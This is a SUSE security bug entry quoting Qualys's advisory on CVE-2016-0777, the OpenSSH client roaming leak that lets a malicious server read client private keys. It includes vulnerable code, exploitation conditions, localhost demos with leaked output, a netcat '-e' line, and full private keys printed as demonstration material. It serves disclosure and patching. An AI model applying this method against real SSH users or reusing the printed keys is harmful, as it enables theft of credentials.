Bug 961642 (CVE-2016-0777) - VUL-0: CVE-2016-0777: openssh: Information leak in ssh client
Summary: VUL-0: CVE-2016-0777: openssh: Information leak in ssh client
Status: RESOLVED FIXED
Alias: CVE-2016-0777
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P1 - Urgent : Major
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL:
Whiteboard: CVSSv2:SUSE:CVE-2016-0777:4.3:(AV:N/A...
Keywords:
Depends on:
Blocks:
 
Reported: 2016-01-13 08:24 UTC by Johannes Segitz
Modified: 2019-06-16 14:37 UTC (History)
12 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
Final upstream patch (2.22 KB, patch)
2016-01-14 08:15 UTC, Johannes Segitz
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Johannes Segitz 2016-01-13 08:24:59 UTC
Qualys reports:

Since version 5.4 (released on March 8, 2010), the OpenSSH client
supports an undocumented feature called roaming: if the connection to an
SSH server breaks unexpectedly, and if the server supports roaming as
well, the client is able to reconnect to the server and resume the
suspended SSH session.

Although roaming is not supported by the OpenSSH server, it is enabled
by default in the OpenSSH client, and contains two vulnerabilities that
can be exploited by a malicious SSH server (or a trusted but compromised
server): an information leak (memory disclosure), and a buffer overflow
(heap-based).

The information leak is exploitable in the default configuration of the
OpenSSH client, and (depending on the client's version, compiler, and
operating system) allows a malicious SSH server to steal the client's
private keys. This information leak may have already been exploited in
the wild by sophisticated attackers, and high-profile sites or users may
need to regenerate their SSH keys accordingly.

Detailed information in the next comment
Comment 1 Johannes Segitz 2016-01-13 08:30:21 UTC
========================================================================
Information Leak (CVE-2016-IILU)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

If the OpenSSH client connects to an SSH server that offers the key
exchange algorithm "resume@appgate.com", it sends the global request
"roaming@appgate.com" to the server, after successful authentication. If
this request is accepted, the client allocates a roaming buffer out_buf,
by calling malloc() (and not calloc()) with an out_buf_size that is
arbitrarily chosen by the server:

 63 void
 64 roaming_reply(int type, u_int32_t seq, void *ctxt)
 65 {
 66         if (type == SSH2_MSG_REQUEST_FAILURE) {
 67                 logit("Server denied roaming");
 68                 return;
 69         }
 70         verbose("Roaming enabled");
 ..
 75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());
 ..
 77 }

 40 static size_t out_buf_size = 0;
 41 static char *out_buf = NULL;
 42 static size_t out_start;
 43 static size_t out_last;
 ..
 75 void
 76 set_out_buffer_size(size_t size)
 77 {
 78         if (size == 0 || size > MAX_ROAMBUF)
 79                 fatal("%s: bad buffer size %lu", __func__, (u_long)size);
 80         /*
 81          * The buffer size can only be set once and the buffer will live
 82          * as long as the session lives.
 83          */
 84         if (out_buf == NULL) {
 85                 out_buf_size = size;
 86                 out_buf = xmalloc(size);
 87                 out_start = 0;
 88                 out_last = 0;
 89         }
 90 }

The OpenSSH client's roaming_write() function, a simple wrapper around
write(), calls wait_for_roaming_reconnect() to transparently reconnect
to the SSH server after a disconnection. It also calls buf_append() to
copy the data sent to the server into the roaming buffer out_buf. During
a reconnection, the client is therefore able to resend the data that was
not received by the server because of the disconnection:

198 void
199 resend_bytes(int fd, u_int64_t *offset)
200 {
201         size_t available, needed;
202
203         if (out_start < out_last)
204                 available = out_last - out_start;
205         else
206                 available = out_buf_size;
207         needed = write_bytes - *offset;
208         debug3("resend_bytes: resend %lu bytes from %llu",
209             (unsigned long)needed, (unsigned long long)*offset);
210         if (needed > available)
211                 fatal("Needed to resend more data than in the cache");
212         if (out_last < needed) {
213                 int chunkend = needed - out_last;
214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
215                     chunkend);
216                 atomicio(vwrite, fd, out_buf, out_last);
217         } else {
218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
219         }
220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data
sent to the server begins at index out_start and ends at index out_last.
As soon as this circular buffer is full, buf_append() maintains the
invariant "out_start = out_last + 1", and consequently three different
cases have to be considered:

- "out_start < out_last" (lines 203-204): out_buf is not full yet (and
  out_start is still equal to 0), and the amount of data available in
  out_buf is indeed "out_last - out_start";

- "out_start > out_last" (lines 205-206): out_buf is full (and out_start
  is exactly equal to "out_last + 1"), and the amount of data available
  in out_buf is indeed the entire out_buf_size;

- "out_start == out_last" (lines 205-206): no data was ever written to
  out_buf (and both out_start and out_last are still equal to 0) because
  no data was ever sent to the server after roaming_reply() was called,
  but the client sends (leaks) the entire uninitialized out_buf to the
  server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve
sensitive information from the OpenSSH client's memory (for example,
private SSH keys, or memory addresses useful for further exploitation),
a malicious server needs to:

- Massage the client's heap before roaming_reply() malloc()ates out_buf,
  and force malloc() to return a previously free()d but uncleansed chunk
  of sensitive information. The simple proof-of-concept in this advisory
  does not implement heap massaging.

- Guess the client's get_snd_buf_size() in order to precisely control
  out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G),
  and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller
  than get_snd_buf_size() are attainable because roaming_reply() does
  not protect "packet_get_int() + get_snd_buf_size()" against integer
  wraparound. The proof-of-concept in this advisory attempts to derive
  the client's get_snd_buf_size() from the get_recv_buf_size() sent by
  the client to the server, and simply chooses a random out_buf_size.

- Advise the client's resend_bytes() that all "available" bytes (the
  entire out_buf_size) are "needed" by the server, even if fewer bytes
  were actually written by the client to the server (because the server
  controls the "*offset" argument, and resend_bytes() does not protect
  "needed = write_bytes - *offset" against integer wraparound).

Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit
systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and
"out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend"
may point out-of-bounds, if chunkend is negative (if out_buf_size is in
the [2G,4G) range). This negative chunkend is then converted to a 64-bit
size_t greater than SSIZE_MAX when passed to atomicio(), and eventually
returns EFAULT when passed to write() (at least on Linux and OpenBSD),
thus avoiding an out-of-bounds read from the OpenSSH client's memory.

------------------------------------------------------------------------
Private Key Disclosure
------------------------------------------------------------------------

We initially believed that this information leak in the OpenSSH client's
roaming code would not allow a malicious SSH server to steal the
client's private keys, because:

- the information leaked is not read from out-of-bounds memory, but from
  a previously free()d chunk of memory that is recycled to malloc()ate
  the client's roaming buffer out_buf;

- private keys are loaded from disk into memory and freed by key_free()
  (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7),
  and both functions properly cleanse the private keys' memory with
  OPENSSL_cleanse() or explicit_bzero();

- temporary copies of in-memory private keys are freed by buffer_free()
  (old API) or sshbuf_free() (new API), and both functions attempt to
  cleanse these copies with memset() or bzero().

However, we eventually identified three reasons why, in our experiments,
we were able to partially or completely retrieve the OpenSSH client's
private keys through this information leak (depending on the client's
version, compiler, operating system, heap layout, and private keys):

1. If a private SSH key is loaded from disk into memory by fopen() (or
fdopen()), fgets(), and fclose(), a partial or complete copy of this
private key may remain uncleansed in memory. Indeed, these functions
manage their own internal buffers, and whether these buffers are
cleansed or not depends on the OpenSSH client's libc (stdio)
implementation, but not on OpenSSH itself.

- In all vulnerable OpenSSH versions, SSH's main() function calls
  load_public_identity_files(), which loads the client's public keys
  with fopen(), fgets(), and fclose(). Unfortunately, the private keys
  (without the ".pub" suffix) are loaded first and then discarded, but
  nonetheless buffered in memory by the stdio functions.

- In OpenSSH versions <= 5.6, the load_identity_file() function (called
  by the client's public-key authentication method) loads a private key
  with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses
  fgets() and hence internal stdio buffering.

Internal stdio buffering is the most severe of the three problems
discussed in this section, although GNU/Linux is not affected because
the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers.
BSD-based systems, on the other hand, are severely affected because they
simply malloc()ate and free() stdio buffers. For interesting comments on
this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk

2. In OpenSSH versions >= 5.9, the client's load_identity_file()
function (called by the public-key authentication method) read()s a
private key in 1024-byte chunks that are appended to a growing buffer (a
realloc()ating buffer) with buffer_append() (old API) or sshbuf_put()
(new API). Unfortunately, the repeated calls to realloc() may leave
partial copies of the private key uncleansed in memory.

- In OpenSSH < 6.7 (old API), the initial size of such a growing buffer
  is 4096 bytes: if a private-key file is larger than 4K, a partial copy
  of this private key may remain uncleansed in memory (a 3K copy in a 4K
  buffer). Fortunately, only the file of a very large RSA key (for
  example, an 8192-bit RSA key) can exceed 4K.

- In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is
  256 bytes: if a private-key file is larger than 1K (the size passed to
  read()), a partial copy of this private key may remain uncleansed in
  memory (a 1K copy in a 1K buffer). For example, the file of a
  default-sized 2048-bit RSA key exceeds 1K.

For more information on this issue:

https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources

https://cwe.mitre.org/data/definitions/244.html

3. An OpenSSH growing-buffer that holds a private key is eventually
freed by buffer_free() (old API) or sshbuf_free() (new API), and both
functions attempt to cleanse the buffer with memset() or bzero() before
they call free(). Unfortunately, an optimizing compiler may remove this
memset() or bzero() call, because the buffer is written to, but never
again read from (an optimization known as Dead Store Elimination).

OpenSSH 6.6 is the only version that is not affected, because it calls
explicit_bzero() instead of memset() or bzero().

Dead Store Elimination is the least severe of the three problems
explored in this section, because older GCC versions do not remove the
memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5
and Clang/LLVM do, however, remove it. For detailed discussions of this
issue:

https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations

https://cwe.mitre.org/data/definitions/14.html

https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506

Finally, for these three reasons, passphrase-encrypted SSH keys are
leaked in their encrypted form, but an attacker may attempt to crack the
passphrase offline.

------------------------------------------------------------------------
Mitigating Factors
------------------------------------------------------------------------

This information leak affects all OpenSSH clients >= 5.4, but its impact
is slightly reduced by the following four reasons:

1. The vulnerable roaming code can be permanently disabled by adding the
undocumented option "UseRoaming no" to the system-wide configuration
file (usually /etc/ssh/ssh_config), or per-user configuration file
(~/.ssh/config), or command-line (-o "UseRoaming no").

2. If an OpenSSH client is disconnected from an SSH server that offers
roaming, it prints "[connection suspended, press return to resume]" on
stderr, and waits for '\n' or '\r' on stdin (and not on the controlling
terminal) before it reconnects to the server; advanced users may become
suspicious and press Control-C or Control-Z instead, thus avoiding the
information leak:

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume]^Z
[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1

However, SSH commands that use the local stdin to transfer data to the
remote server are bound to trigger this reconnection automatically (upon
reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH
commands (for example, backup scripts and cron jobs) commonly employ
public-key authentication and are therefore perfect targets for this
information leak:

$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls"
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar"
tar: Removing leading `/' from member names
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
...
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

Similarly, the SCP client uses the SSH client's stdin and stdout to
transfer data, and can be forced by a malicious SSH server to output a
control record that ends in '\n' (an error message in server-to-client
mode, or file permissions in client-to-server mode); this '\n' is then
read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and
triggers an automatic reconnection that allows the information leak to
be exploited without user interaction:

# env ROAMING="scp_mode sleep:1" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp
$ [connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]

$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
lost connection

3. Although a man-in-the-middle attacker can reset the TCP connection
between an OpenSSH client and an OpenSSH server (which does not support
roaming), it cannot exploit the information leak without breaking server
host authentication or integrity protection, because it needs to:

- first, append the "resume@appgate.com" algorithm name to the server's
  initial key exchange message;

- second, in response to the client's "roaming@appgate.com" request,
  change the server's reply from failure to success.

In conclusion, an attacker who wishes to exploit this information leak
must convince its target OpenSSH client to connect to a malicious server
(an unlikely scenario), or compromise a trusted server (a more likely
scenario, for a determined attacker).

4. We discovered several non-security bugs, in specific versions and
configurations of OpenSSH, that prevent the client's roaming code from
reconnecting to the server and, as a result, prevent this information
leak from being exploited. In the client, wait_for_roaming_reconnect()
calls ssh_connect(), the same function that successfully established the
first connection to the server; this function supports four different
connection methods, but each method contains a bug and may fail to
establish a second connection to the server:

- In OpenSSH >= 6.5 (released on January 30, 2014), the default
  ssh_connect_direct() method (a simple TCP connection) is called by
  wait_for_roaming_reconnect() with a NULL aitop argument, which makes
  it impossible for the client to reconnect to the server:

 418 static int
 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,
 ...
 424         int sock = -1, attempt;
 425         char ntop[NI_MAXHOST], strport[NI_MAXSERV];
 ...
 430         for (attempt = 0; attempt < connection_attempts; attempt++) {
 ...
 440                 for (ai = aitop; ai; ai = ai->ai_next) {
 ...
 470                 }
 471                 if (sock != -1)
 472                         break;  /* Successful connection. */
 473         }
 474
 475         /* Return failure if we didn't get a successful connection. */
 476         if (sock == -1) {
 477                 error("ssh: connect to host %s port %s: %s",
 478                     host, strport, strerror(errno));
 479                 return (-1);
 480         }

  Incidentally, this error() call displays stack memory from the
  uninitialized strport[] array, a byproduct of the NULL aitop:

$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor

- The special ProxyCommand "-" communicates with the server through the
  client's stdin and stdout, but these file descriptors are close()d by
  packet_backup_state() at the beginning of wait_for_roaming_reconnect()
  and are never reopened again, making it impossible for the client to
  reconnect to the server. Moreover, the fgetc() that waits for '\n' or
  '\r' on the closed stdin returns EOF and forces the client to exit():

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222
Pseudo-terminal will not be allocated because stdin is not a terminal.
user@127.0.0.1's password:
[connection suspended, press return to resume][exiting]

- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that
  passes a connected file descriptor back to the client, but it calls
  fatal() while reconnecting to the server, because waitpid() returns
  ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after
  the first successful connection to the server) calls waitpid() before
  ssh_proxy_fdpass_connect() does:

1782 static void
1783 main_sigchld_handler(int sig)
1784 {
....
1789         while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
1790             (pid < 0 && errno == EINTR))
1791                 ;
1792
1793         signal(sig, main_sigchld_handler);
....
1795 }

 101 static int
 102 ssh_proxy_fdpass_connect(const char *host, u_short port,
 103     const char *proxy_command)
 104 {
 ...
 121         /* Fork and execute the proxy command. */
 122         if ((pid = fork()) == 0) {
 ...
 157         }
 158         /* Parent. */
 ...
 167         while (waitpid(pid, NULL, 0) == -1)
 168                 if (errno != EINTR)
 169                         fatal("Couldn't wait for child: %s", strerror(errno));

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015

$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]Couldn't wait for child: No child processes

- The method ssh_proxy_connect() fork()s a standard ProxyCommand that
  connects the client to the server, but if a disconnection occurs, and
  the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is
  waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying
  read() returns EINTR) and the client exit()s before it can reconnect
  to the server:

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][exiting]

  This behavior is intriguing, because (at least on Linux and BSD) the
  signal() call that installed the main_sigchld_handler() is supposed to
  be equivalent to a sigaction() call with SA_RESTART. However, portable
  versions of OpenSSH override signal() with mysignal(), a function that
  calls sigaction() without SA_RESTART.

  This last mitigating factor is actually a race-condition bug that
  depends on the ProxyCommand itself: for example, the client never
  fails to reconnect to the server when using Socat as a ProxyCommand,
  but fails occasionally when using Netcat.

------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
-----END RSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme

------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013

$ /usr/bin/ssh -V
OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
-----END DSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:768" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
...

# env ROAMING="client_out_buf_size:1024" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-279f5e2b/infoleak
...
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
...

------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013

$ /usr/bin/ssh -V
OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
